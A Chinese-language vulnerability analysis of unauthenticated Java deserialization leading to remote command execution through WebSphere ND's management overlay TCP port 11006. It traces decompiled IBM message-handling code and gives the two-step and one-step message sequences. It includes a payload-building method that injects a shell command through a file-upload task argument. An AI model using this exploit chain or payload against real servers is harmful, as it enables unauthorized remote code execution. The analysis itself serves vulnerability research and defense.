Websphere ND的集群管理节点预留端口 "管理覆盖层 TCP 端口" 11006端口接收不可信数据反序列化可造成命令执行
Websphere Application Server ND 在创建管理节点概要文件,
起管理端口为
11005(UDP)
11006(TCP)
数据传输的方式采用序列化传输,而且不需要验证身份。端口默认对外
步骤概要:
1.序列化TcpNodeMessage消息对象发送到服务器进行处理
2.序列化BcastMsgRunTask消息对象发送到服务器造成RCE
类:com.ibm.son.mesh.CfwTCPImpl
核心方法"completedRead(VirtualConnection var1, TCPReadRequestContext var2)"
private void completedRead(VirtualConnection var1, TCPReadRequestContext var2) { boolean var3 = this.peer.isStateStopped(); if (this.ls.isDebugEnabled()) { this.ls.debug("CfwTCPImpl#completedRead() " + this + "; peerStopped=" + var3 + ", quiet=" + this.quiet); } this.readPending = false; if (!var3 && !this.quiet) { while(true) { boolean var4 = this.isClosed(); //读入数据流 WsByteBuffer var5 = var2.getBuffer(); int var6 = var5.position(); int var7 = var6 - this.inputStartPos; int var8 = var5.limit(); int var9 = var8 - var6; if (this.ls.isDebugEnabled()) { this.ls.debug("CfwTCPImpl#completedRead() loop " + this + "; peerStopped=" + var3 + ", quiet=" + this.quiet + ", openPending=" + this.openPending + ", closePending=" + this.closePending + ", isClosed=" + var4 + ", readingHeader=" + this.readingHeader + ", inputStartPos=" + this.inputStartPos + ", pos=" + var6 + ", sofar=" + var7 + ", inputMsgLen=" + this.inputMsgLen + ", rembuf=" + var9 + ", inBuffer=" + fi(var5) + ", headerBuffer=" + fi(this.headerBuffer)); } if (this.closePending) { if (!this.writeInProgress && !this.openPending) { this.closeLinks(); } return; } if (var4) { return; } if (this.closeLinksInvoked) { String var17 = "closeLinksInvoked inside completedRead(" + this + ")"; this.ls.severe("SON_EThrow", new Exception(var17)); return; } //头解析 int var12; if (var7 >= this.inputMsgLen) { if (this.readingHeader) { var5.position(this.inputStartPos); var5.get(this.headerArray, 0, 8); var5.position(var6); this.inputStartPos += 8; this.readingHeader = false; this.inputMsgLen = 0; int var15 = Util.bytesToInt(this.headerArray); //头4个字节检验:这里读出数据包前4个字节转为int判断是否等于"963622730",不等于最后会return if (var15 != 963622730) { StringBuffer var20 = new StringBuffer(); var20.append("CfwTCPImpl#completeRead() " + this + " bad magic number. Full header contents: /n"); for(var12 = 0; var12 < 8; ++var12) { var20.append(this.headerArray[var12]); var20.append(" "); } this.ls.debug(var20.toString()); IOException var21 = new IOException("Bad magic number (" + var15 + ", expected " + 963622730 + ") received over " + this); FFDCFilter.processException(var21, this.getClass().getName() + ".complete", "325"); if (shouldComplainMagic(this.remoteAddress)) { this.ls.warning("SON_WThrow", var21); } this.handleIOExceptionWithoutNodeFailureAnnouncement(var21); return; } //读出头部后4位字节, 确定消息长度 this.inputMsgLen = Util.bytesToInt(this.headerArray, 4); if (this.inputMsgLen <= 0) { if (this.ls.isDebugEnabled()) { this.ls.debug("CfwTCPImpl#completeRead() bad length: " + this.inputMsgLen + " " + this); } IOException var19 = new IOException("Bad Message Length " + this.inputMsgLen + " received over " + this); this.handleIOExceptionWithoutNodeFailureAnnouncement(var19); return; } } else { //消息长度来自于头部后4个字节 var12 = this.inputMsgLen; byte[] var16; int var22; if (var5.hasArray()) { var16 = var5.array(); var22 = var5.arrayOffset() + this.inputStartPos; } else { var16 = new byte[this.inputMsgLen]; var5.position(this.inputStartPos); var22 = 0; var5.get(var16, 0, this.inputMsgLen); var5.position(var6); } this.inputStartPos += this.inputMsgLen; this.readingHeader = true; this.inputMsgLen = 8; try { //进一步接收消息并解析(反序列化) this.procReceivedMessage(var16, var22, var12); } catch (IOException var14) { this.handleIOException(var14); return; } } } else { boolean var10 = var7 != 0 || !this.readingHeader || var5 == this.headerBuffer; if (var8 - this.inputStartPos >= this.inputMsgLen && var10) { if (this.ls.isDebugEnabled()) { this.ls.debug("enough room in remaining buffer"); } } else if (var7 == 0 && var8 >= this.inputMsgLen && var10) { if (this.ls.isDebugEnabled()) { this.ls.debug("enough room in whole buffer"); } var5.position(this.inputStartPos = 0); } else if (this.readingHeader && var5 == this.headerBuffer) { if (this.ls.isDebugEnabled()) { this.ls.debug("enough room in header buffer"); } var5.position(this.inputStartPos); var5.get(this.headerArray, 0, var7); var5.clear(); var5.put(this.headerArray, this.inputStartPos = 0, var7); } else { WsByteBuffer var11; if (this.readingHeader) { var11 = this.headerBuffer; var11.clear(); } else { var11 = this.allocReadBuffer(this.inputMsgLen, false); } if (var7 > 0) { var5.flip(); var5.position(this.inputStartPos); var11.put(var5); } var2.setBuffer(var11); this.releaseReadBuffer(var5, this.headerBuffer); if (this.ls.isDebugEnabled()) { this.ls.debug("Switching from buffer " + fi(var5) + " to " + fi(var11)); } this.inputStartPos = 0; var6 = var11.position(); } this.readPending = true; int var13; VirtualConnection var18; if (this.readingHeader && var7 == 0) { var12 = 1; long var10001 = (long)1; int var10004 = this.msgArrivalTimeout > 0 ? this.msgArrivalTimeout : -1; var13 = var10004; var18 = this.rrc.read(var10001, this, false, var10004); } else { var18 = this.rrc.read((long)(var12 = this.inputMsgLen - var7), this, false, var13 = this.tcpReadTimeout); } if (var18 == null) { if (this.ls.isDebugEnabled()) { this.ls.debug("CfwTCPImpl#completedRead() blocked; header incomplete; readLen=" + var12 + " timeout=" + var13 + "; The callback will be invoked later. " + this); } return; } this.readPending = false; } } } else { if (this.ls.isDebugEnabled()) { this.ls.debug("Quiet or peer already closed. Ignore the completed read."); } } }
继续跟进"procReceivedMessage(byte[] var1, int var2, int var3)"方法:
这个方法在父类"com.ibm.son.mesh.AbstractTCPImpl"中:
protected void procReceivedMessage(byte[] var1, int var2, int var3) throws IOException { Neighbor var4 = this.getNeighbor(); if (var4 != null) { var4.setLastMsgTime(); } Message var5; try { long var6 = System.nanoTime(); //对消息反序列化 var5 = (Message)Util.deserialize(var1, var2, var3); long var8 = System.nanoTime(); this.peer.netStats.finishReadTcp(var5, var1, var2, var3, true, var8 - var6); } catch (IOException var15) { this.peer.warning(var15); return; } var5.setLength(var3); if (WASConfig.useTcpChannelFramework && this.peer.isStateStopped()) { if (var5.type == 57) { this.hardClose(); } } else { //继续处理消息 Message var16 = this.procMessage(var5); //如果返回的结果不为Null, 这里会广播到各个节点 if (var16 != null) { boolean var7 = Thread.holdsLock(this.peer); long var9; long var11; byte[] var17; try { var9 = System.nanoTime(); var17 = Util.serializeWithHeader(var16, this.peer); var11 = System.nanoTime(); } catch (IOException var14) { this.peer.panic(var14); return; } if (var7) { this.peer.netStats.finishWriteTcp(var16, var17, false, var11 - var9, var17.length); } //广播 this.sendData(var17, var16.ID, (AfterMsgSentCallback)null); } } }
我们的发送的序列化Payload1(TcpNodeMessage)被反序列化之后并进行处理
继续跟进"procMessage(Message var1)"方法:
public Message procMessage(Message var1) { if (this.ls.isDebugEnabled()) { this.ls.fine("Received TCP message " + var1 + " from " + this); } if (this.nextMsgProcessor != null) { Message var2 = this.nextMsgProcessor.procMessage(this, var1); if (this.ls.isDebugEnabled() && var2 != null) { this.ls.fine("Reply to " + this + " message: " + var2); } if (var1.isProcessed()) { return var2; } } //取出消息处理器Iterator Iterator var5 = this.peer.tcp.protocolStackIterator(); Message var4; //循环处理 do { if (!var5.hasNext()) { if ((var1.type & 268435456) != 0) { if (Config.DEBUG) { this.peer.warning("A received message from " + this + " is not processed by any stack and discarded [" + var1 + "]. The message class is " + var1.getClass().getName() + ". The TCP connection is closed as this is an auto-close message."); } this.hardClose(); } else if (Config.DEBUG) { this.peer.warning("A received message from " + this + " is not processed by any stack and discarded [" + var1 + "]. The message class is " + var1.getClass().getName()); } return null; } ProtocolTCP var3 = (ProtocolTCP)var5.next(); //处理 var4 = var3.procMessage(this, var1); if (this.ls.isDebugEnabled() && var4 != null) { this.ls.fine("Reply to " + this + " message: " + var4); } } while(!var1.isProcessed()); return var4; }
这里是取出了消息处理器(List)对消息循环处理
在处理器中有一个类"com.ibm.son.mesh.TcpMsgTypeBasedDispatcher",需要重点关注
来看TcpMsgTypeBasedDispatcher.procMessage(TCP var1, Message var2):
public Message procMessage(TCP var1, Message var2) { this.tmpType.type = var2.type; //根据消息Type拿出处理器进行处理 ProtocolTCP var3 = (ProtocolTCP)this.protocols.get(this.tmpType); return var3 == null ? null : var3.procMessage(var1, var2); }
这里想要什么处理器来处理是可以自定义的
因为Message对象就是我们序列化的TcpNodeMessage对象,这里的Type自定为12,可以看到拿到的是一个"com.ibm.son.mesh.MemberMgr"
跟进"procMessage(TCP var1, Message var2)"方法:
public Message procMessage(TCP var1, Message var2) { if (this.peer.isDebugEnabled() && var2.type != 12 && var2.type != 22 && var2.type != 23) { this.peer.panic("Wrong message type: " + var2); } TcpNodeMessage var4 = (TcpNodeMessage)var2; if (this.peer.isDebugEnabled()) { this.peer.fine("Received NEW_NBR_REQ from " + var4); } int var5 = var2.type; //至Type为-1 var2.markProcessed(); //查找是否存在对应节点 Node var6 = this.members.find(var4.ip, var4.udpPort); Node var7; //不存在对应节点则生成一个新节点赋值给Var7,之后会注册这个节点 if (var6 == null) { var7 = new Node(var4.ip, var4.udpPort, var4.tcpPort, var4.bootTime, var4.nodeProperty, this.peer.bigKey); } else { var7 = var6; } boolean var3; Neighbor var8; if (this.neighbors.find(var7) != null) { var3 = false; if (this.peer.isDebugEnabled()) { this.peer.fine("Reject the new neighbor request: already a neighbor. Neighbors: " + this.neighbors.toString()); } } else if (var5 != 22 && var5 != 23 && !Config.alwaysAcceptNewNeighbor && this.neighbors.size() >= Config.numNbrsHigh) { var3 = false; if (this.peer.isDebugEnabled()) { this.peer.fine("Reject: Not NEW_NBR_REQ_PREDECESSOR/SUCCESSOR message and too many neighbors (" + this.neighbors.size() + ")"); } } else { var8 = this.pendingNeighbors.find(var7); if (var8 == null) { if (Config.structuredGateways && !isCellIdentical(this.peer.thisNode, var7)) { if (this.peer.thisNode.getNodeProperty().isStructuredGateway()) { var3 = true; if (this.peer.isDebugEnabled()) { this.peer.fine("we are a structured gateway"); if (var7.getNodeProperty().isStructuredGateway()) { this.peer.fine("Accept: the neighbor request is from a remote structured gateway: neighbors (" + this.neighbors.size() + ")"); } else { this.peer.fine("WARN: Accept: the neighbor request is from a remote cell but is NOT a strucutred gateway: neighbors (" + this.neighbors.size() + ")"); } } } else { var3 = false; if (this.peer.isDebugEnabled()) { this.peer.fine("Reject: we are NOT a structured gateway and the neighbor request is from a remote cell: neighbors (" + this.neighbors.size() + ")"); } } } else { var3 = true; if (this.peer.isDebugEnabled()) { this.peer.fine("Accept: no excessive neighbors (" + this.neighbors.size() + ")"); } } } else { int var9 = SonInetAddress.compareIP(this.peer.thisNode.ip, var4.ip); if (var9 < 0 || var9 == 0 && this.peer.thisNode.udpPort < var4.udpPort) { if (this.peer.isDebugEnabled()) { this.peer.fine("Accept: the new neighbor request is from a pending neighbor and this node is the loser with smaller IP/UDP."); } var3 = true; this.pendingNeighbors.remove(var8); var8.setFailureHandlingCode(0); var8.softClose(); } else { var3 = false; if (this.peer.isDebugEnabled()) { this.peer.fine("Reject: the new neighbor request is from a pending neighbor and this node is the winner with bigger IP/UDP."); } } } } if (!var3) { if (this.peer.isDebugEnabled()) { this.peer.fine("Send NEW_NBR_ANS_NO to " + var1); } return new Message(14); //走的这个if } else if (var6 == null) { if (this.peer.isDebugEnabled()) { this.peer.fine("This new neighbor is a new node: " + var7 + ". Confirm it through TCP."); } /** * 初始化节点,并为当前TCP连接设置处理器属性"nextMsgProcessor" * 然后获取当前TCP连接发起请求,消息为Message对象(Type 66) */ new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is also a new node"); return null; } else if (var7.bootTime < var4.bootTime) { if (this.peer.isDebugEnabled()) { this.peer.fine("This new neighbor is a known node: " + var7 + ", but the neighbor's bootTime is newer. Confirm it through TCP."); } this.updateExistingNodeBootTime(var7, var4.bootTime, var4.tcpPort, var4.nodeProperty); new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is a known node but with a newer bootTime"); return null; } else { if (this.peer.isDebugEnabled()) { this.peer.fine("Send NEW_NBR_ANS_YES to " + var1); } var8 = new Neighbor(this.peer, var7, var1); Message var11 = new Message(13); Message var10 = this.addNeighbor(var8, var11); return var10; } }
最重要的就是这两行
new ConfirmNewNbrThroughTcp(this.peer, var7, var1, "A new neighbor is also a new node"); return null;
这里初始化了一个节点,然后返回了Null
跟进"com.ibm.son.mesh.ConfirmNewNbrThroughTcp"的构造器,涉及重要代码如下:
ConfirmNewNbrThroughTcp(Peer var1, Node var2, TCP var3, String var4) { this.nbrTcp = var3; this.init(var1, var2, var4); } //父类ConfirmNewNodeThroughTcp.class的init() void init(Peer var1, Node var2, String var3) { this.peer = var1; this.newNodeToConfirm = var2; this.newNodeAnnounceMsg = var3; TCP var4 = null; try { //初始化一个节点,并且连接至TCP端口发送Message对象(Type为66), 传入的peer即当前线程 var4 = TCPFactory.getTCP(this.newNodeToConfirm.ip, this.newNodeToConfirm.tcpPort, this, this.peer); //设置nextMsgProcessor为自身 var4.setNextMsgProcessor(this); var4.addTcpCloseMonitor(this); } catch (IOException var6) { if (this.peer.isDebugEnabled()) { this.peer.fine(var6); } if (var4 != null) { var4.hardClose(); } this.confirmFailed(); } }
在发送第一个消息TcpNodeMessage对象之后短时间内会接收到一个消息为Message对象(Type值为66)
如下图所示,接收到Message对象
如何处理Message (Type 66):
这里可以看到Type66取出的处理器是"com.ibm.son.mesh.ProcTestTcpPing"
跟进:
这里直接是返回一个Message对象Type为67
那么返回的值不为Null, 则会广播这个消息出去:
当Message(Type 66)处理完之后马上会收到Message(Type 67)的消息,如下图所示:
跟进如下:
这里是之前TcpNodeMessage调用MemberMgr处理器设定的nextMsgProcessor属性:
public Message procMessage(TCP var1, Message var2) { //限定类型,只允许Type为67的Message进入 if (var2.type != 67) { return null; } else { if (this.peer.isDebugEnabled()) { this.peer.fine("Received TEST_TCP_PONG from " + var1); } var2.markProcessed(); Node var3 = this.peer.memberMgr.members.find(this.newNodeToConfirm); Message var4 = null; //如果Tcp处于连接状态 if (this.nbrTcp.isConnected()) { if (this.peer.isDebugEnabled()) { this.peer.fine("ConfirmNewNbr: New neighbor " + this.newNodeToConfirm + " has been confirmed, and still exists. Accept it as new neighbor."); } //设置Neighbor Neighbor var5 = new Neighbor(this.peer, var3 == null ? this.newNodeToConfirm : var3, this.nbrTcp); Message var6 = new Message(13); var4 = this.peer.memberMgr.addNeighbor(var5, var6); } if (var3 == null) { if (this.peer.isDebugEnabled()) { this.peer.fine("ConfirmNewNbr: New neighbor " + this.newNodeToConfirm + " has been confirmed, and is not a member. Add it locally and globaly."); } this.peer.memberMgr.addNode(this.newNodeToConfirm); this.peer.memberMgr.sendToAllNeighbors(new NodeBroadcastMessage(80001, this.newNodeToConfirm, this.peer, this.newNodeAnnounceMsg), this.newNodeToConfirm); } else if (this.peer.isDebugEnabled()) { this.peer.fine("ConfirmNewNbr: the confirmed new neighbor " + this.newNodeToConfirm + " is already a member. Ignore."); } if (var4 != null) { try { this.nbrTcp.send(var4); } catch (IOException var7) { this.nbrTcp.handleIOException(var7); } } if (this.peer.isDebugEnabled()) { this.peer.fine("ConfirmNewNbr: Close test tcp " + var1); } var1.removeTcpCloseMonitor(this); var1.hardClose(); return null; }
上面的代码只需要关注两个地方:
1.判断Tcp是否处于连接状态
if (this.nbrTcp.isConnected())
2.设置Neighbor
Neighbor var5 = new Neighbor(this.peer, var3 == null ? this.newNodeToConfirm : var3, this.nbrTcp);
Neighbor的构造器如下:
上面第一个TcpNodeMessage的Payload已经分析的差不多了
至于为什么需要第1个Payload,是为了第2个Payload做的铺垫
因为第2个Payload要想实现RCE必须让Neighbor属性不为Null
溯源BcastMsgRunTask的父类可以发现也是Message类
Payload生成对象如下:
这里的Message Type为41
这里省略数据解析的过程,只看Process如何处理
迭代出来的第1个处理器"com.ibm.son.mesh.TCPBroadcastFilter"
可以看到首先判断了对象类型,这里BcastMsgRunTask的父类就是"BcastFloodMsg",所以可以跟进:
public Message procMessage(TCP var1, Message var2) { //判断消息类型是否是“BcastFloodMsg” if (!(var2 instanceof BcastFloodMsg)) { return null; } else { BcastFloodMsg var3 = (BcastFloodMsg)var2; this.tmpMsgRecved.setMsg(var3.sourceIP, var3.sourceUdpPort, var3.sourceMsgID); TCPBroadcastFilter.MsgRecved var4; //判断接收的消息是否已经存在了一个临时的Key,这里进入了if if (!this.recvedMsgs.containsKey(this.tmpMsgRecved) && !this.recvedMsgs2.containsKey(this.tmpMsgRecved)) { if (SonInetAddress.equalIP(var3.sourceIP, this.peer.thisNode.ip) && var3.sourceUdpPort == this.peer.thisNode.udpPort) { this.peer.warning("A broadcast message is back to the sender: " + var2 + " received from " + var1); var2.markProcessed(); return null; //如果当前线程不是受管节点 } else if (!MemberMgr.isNodeInterestedInMsg(this.peer.thisNode, var2.getOriginatingCell())) { this.peer.severe("starTop: Recieved boadcast message " + var2 + " however it originated in a cell we are not interested in: " + var2.getOriginatingCell()); var2.markProcessed(); return null; //进入到了这个else } else { var4 = new TCPBroadcastFilter.MsgRecved(this.tmpMsgRecved); if (this.peer.isDebugEnabled()) { this.peer.fine("Received new broadcast message " + var3 + " originated at: " + var4.toString()); } this.recvedMsgs.put(var4, var4); return null; } } else { if (this.peer.isDebugEnabled()) { var4 = (TCPBroadcastFilter.MsgRecved)this.recvedMsgs.get(this.tmpMsgRecved); if (var4 == null) { var4 = (TCPBroadcastFilter.MsgRecved)this.recvedMsgs2.get(this.tmpMsgRecved); if (var4 == null) { this.peer.panic("Shouldn't be null"); } } if (this.peer.isDebugEnabled()) { this.peer.fine("Duplicate broadcast message (type=" + var2.type + ") " + var4.toString() + " has been receive before."); } } var2.markProcessed(); return null; } } }
这个处理器返回的是一个Null值,但是很重要,因为如果条件不符合会调用var2.markProcessed();,至Type为-1.
继续跟进下一个处理器"TcpMsgTypeBasedDispatcher"
得到一个"RpcServerDispatcher.ProcRunTaskOnAllNodes"处理器:
public Message procMessage(TCP var1, Message var2) { if (RpcServerDispatcher.DEBUG && var2.type != 41) { RpcServerDispatcher.this.peer.panic("Wrong message type: " + var2); } return RpcServerDispatcher.this.procRunTaskOnAllNodesTcp(var1, var2); }
protected Message procRunTaskOnAllNodesTcp(TCP var1, Message var2) { if (DEBUG) { this.peer.fine("Received RUN_TASK_ON_ALL_NODES from " + var1); } //将此消息转发给Neighbors,这里会调用Neighbors的方法,所以这也是为什么上面要通过Payload1让Neighbors不为Null的原因,如果是Null这里就会抛空指针异常 this.peer.forwardTcpBcast(var2, var1); //置消息Type为-1 var2.markProcessed(); BcastMsgRunTask var3 = (BcastMsgRunTask)var2; byte var4; Object var5; try { //调用Task.run() var5 = this.invoke(var3.task, var3.taskArgument, (TaskOutputConsumer)null); var4 = 2; } catch (Exception var7) { var5 = Util.getTraceString(var7); var4 = 1; } new RunTaskOnAllNodesTcpOutputCollector(this.peer, var1, var3, (Serializable)var5, var4); return null; }
代码有几处重要的地方:
1.转发消息(通过第1步发送的Payload(TcpNodeMessage))作用就是让这个不为Null
this.peer.forwardTcpBcast(var2, var1);
var5 = this.invoke(var3.task, var3.taskArgument, (TaskOutputConsumer)null);
继续跟进RpcServerDispatcher的invoke方法
public Serializable invoke(String var1, Serializable var2, TaskOutputConsumer var3) throws Exception { //相当于一个Cache,加载过了就直接从容器里面拿 Task var4 = (Task)this.rpcFuncInst.get(var1); if (var4 == null) { if (DEBUG) { this.peer.fine("Create one instance for task " + var1 + " for the first time."); } //容器中找不到就Class.forName去加载。并且添加到容器内 Class var5 = Class.forName(var1); var4 = (Task)var5.newInstance(); this.rpcFuncInst.put(var1, var4); var4.init(this.peer); } else if (DEBUG) { this.peer.fine("An instance for task " + var1 + " already exists."); } //执行Task.run return var4.run(var2, var3); }
这里就触发了com.ibm.son.plugin.UploadFileToAllNodes的run方法:
java版poc, 计算器坏了弹个Mstsc.exe
在前面已经说了利用此漏洞需要分两步
1.发送TcpNodeMessage
2.发送BcastMsgRunTask
RpcServerDispatcher消息处理器相比RpcServerDispatcher.ProcRunTaskOnAllNodes消息处理器不需要neighbor不为Null, 只需要发送一个Payload即可完成利用:
相关处理代码如下:
public Message procMessage(final TCP var1, Message var2) { if (DEBUG && var2.type != 38) { this.peer.panic("Wrong message type: " + var2); } var2.markProcessed(); try { RpcInvokeMessage var3 = (RpcInvokeMessage)var2; class RpcTaskOutputConsumer implements TaskOutputConsumer { RpcTaskOutputConsumer() { } public void consumeTaskOutput(Serializable var1x) { try { var1.send(new RpcResponseMessage(39, new RpcResponse("OK", var1x))); } catch (IOException var3) { var1.handleIOException(var3); } } } RpcTaskOutputConsumer var4 = new RpcTaskOutputConsumer(); Serializable var5 = this.invoke(var3.func, var3.argument, var4); return var5 == var4.getClass() ? null : new RpcResponseMessage(39, new RpcResponse("OK", var5)); } catch (Exception var6) { this.peer.warning(Util.getTraceString(var6)); return new RpcResponseMessage(39, new RpcResponse(Util.getTraceString(var6), (Serializable)null)); } }
可以看上述代码,传入的Message对象是一个"RpcInvokeMessage", 然后直接拿出里面的属性传入invoke方法。
和之前分析文章的触发点一样,但这个没有neighbor的限制
public byte[] getRpcInvokeMessageObj(String op, String command) throws Exception { UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, String.format("%s %s && ",op ,command)); Object obj = new RpcInvokeMessage(38, "com.ibm.son.plugin.UploadFileToAllNodes", arg); return Serializer.serialize(obj); }
和原先的差不多,只是把BcastMsgRunTask换成了RpcInvokeMessage,且消息类型为38
在建立TCP连接之后直接发送这个Payload即可完成利用
WebSphere Application Server ND 9.0 WebSphere Application Server ND 8.5 WebSphere Virtual Enterprise V7.0